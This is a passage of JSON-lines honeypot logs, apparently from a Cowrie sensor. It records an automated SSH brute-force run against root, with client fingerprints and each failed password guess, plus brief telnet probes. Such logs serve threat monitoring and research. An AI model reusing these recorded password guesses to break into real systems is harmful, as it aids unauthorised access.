ac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:58.451064Z","src_ip":"60.165.124.241","session":"20b8f9c8d0dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ls123456","message":"login attempt [root/Ls123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:50:59.179462Z","src_ip":"60.165.124.241","session":"20b8f9c8d0dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:00.421444Z","src_ip":"60.165.124.241","session":"20b8f9c8d0dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37974,"dst_ip":"10.17.0.5","dst_port":22,"session":"1824738900eb","protocol":"ssh","message":"New connection: 60.165.124.241:37974 (10.17.0.5:22) [session: 1824738900eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:00.652670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:00.657357Z","src_ip":"60.165.124.241","session":"1824738900eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:00.895517Z","src_ip":"60.165.124.241","session":"1824738900eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"safety","message":"login attempt [root/safety] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:01.615541Z","src_ip":"60.165.124.241","session":"1824738900eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:02.858908Z","src_ip":"60.165.124.241","session":"1824738900eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40990,"dst_ip":"10.17.0.5","dst_port":22,"session":"575a36b6062e","protocol":"ssh","message":"New connection: 60.165.124.241:40990 (10.17.0.5:22) [session: 575a36b6062e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:03.096457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:03.101440Z","src_ip":"60.165.124.241","session":"575a36b6062e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:03.342893Z","src_ip":"60.165.124.241","session":"575a36b6062e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":60808,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb82bd146e98","protocol":"ssh","message":"New connection: 198.58.117.211:60808 (10.17.0.5:22) [session: bb82bd146e98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:03.392320Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":35394,"dst_ip":"10.17.0.5","dst_port":23,"session":"16cbb3860a55","protocol":"telnet","message":"New connection: 198.58.117.211:35394 (10.17.0.5:23) [session: 16cbb3860a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:03.400381Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:03.445555Z","src_ip":"198.58.117.211","session":"bb82bd146e98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweqaz123@","message":"login attempt [root/qweqaz123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:04.084110Z","src_ip":"60.165.124.241","session":"575a36b6062e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:05.337670Z","src_ip":"60.165.124.241","session":"575a36b6062e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43678,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f3cecee6ce4","protocol":"ssh","message":"New connection: 60.165.124.241:43678 (10.17.0.5:22) [session: 8f3cecee6ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:05.601190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:05.606088Z","src_ip":"60.165.124.241","session":"8f3cecee6ce4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:05.851736Z","src_ip":"60.165.124.241","session":"8f3cecee6ce4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa5201314.","message":"login attempt [root/Aa5201314.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:06.594569Z","src_ip":"60.165.124.241","session":"8f3cecee6ce4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:07.848135Z","src_ip":"60.165.124.241","session":"8f3cecee6ce4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46820,"dst_ip":"10.17.0.5","dst_port":22,"session":"21e73524eb45","protocol":"ssh","message":"New connection: 60.165.124.241:46820 (10.17.0.5:22) [session: 21e73524eb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:08.074713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:08.079308Z","src_ip":"60.165.124.241","session":"21e73524eb45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:08.319853Z","src_ip":"60.165.124.241","session":"21e73524eb45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"download","message":"login attempt [root/download] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:09.038332Z","src_ip":"60.165.124.241","session":"21e73524eb45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:09.404977Z","src_ip":"198.58.117.211","session":"16cbb3860a55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:10.278338Z","src_ip":"60.165.124.241","session":"21e73524eb45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49606,"dst_ip":"10.17.0.5","dst_port":22,"session":"911c003ad73e","protocol":"ssh","message":"New connection: 60.165.124.241:49606 (10.17.0.5:22) [session: 911c003ad73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:10.516659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:10.521415Z","src_ip":"60.165.124.241","session":"911c003ad73e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:10.761162Z","src_ip":"60.165.124.241","session":"911c003ad73e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"YIGeren343","message":"login attempt [root/YIGeren343] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:11.490426Z","src_ip":"60.165.124.241","session":"911c003ad73e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:12.732215Z","src_ip":"60.165.124.241","session":"911c003ad73e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52250,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f4a134babc5","protocol":"ssh","message":"New connection: 60.165.124.241:52250 (10.17.0.5:22) [session: 7f4a134babc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:12.962659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:12.967969Z","src_ip":"60.165.124.241","session":"7f4a134babc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:13.214969Z","src_ip":"60.165.124.241","session":"7f4a134babc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bt123456","message":"login attempt [root/bt123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:13.933167Z","src_ip":"60.165.124.241","session":"7f4a134babc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.001587629318237,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:14.401840Z","src_ip":"198.58.117.211","session":"16cbb3860a55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":51786,"dst_ip":"10.17.0.5","dst_port":23,"session":"2026dd5683c7","protocol":"telnet","message":"New connection: 198.58.117.211:51786 (10.17.0.5:23) [session: 2026dd5683c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:14.437585Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:15.172035Z","src_ip":"60.165.124.241","session":"7f4a134babc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55124,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd69b1398b5b","protocol":"ssh","message":"New connection: 60.165.124.241:55124 (10.17.0.5:22) [session: bd69b1398b5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:15.404613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:15.409478Z","src_ip":"60.165.124.241","session":"bd69b1398b5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:15.647269Z","src_ip":"60.165.124.241","session":"bd69b1398b5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7788250","message":"login attempt [root/7788250] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:16.363061Z","src_ip":"60.165.124.241","session":"bd69b1398b5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:17.606190Z","src_ip":"60.165.124.241","session":"bd69b1398b5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57878,"dst_ip":"10.17.0.5","dst_port":22,"session":"08df60958c56","protocol":"ssh","message":"New connection: 60.165.124.241:57878 (10.17.0.5:22) [session: 08df60958c56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:17.844543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:51:17.849309Z","src_ip":"60.165.124.241","session":"08df60958c56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 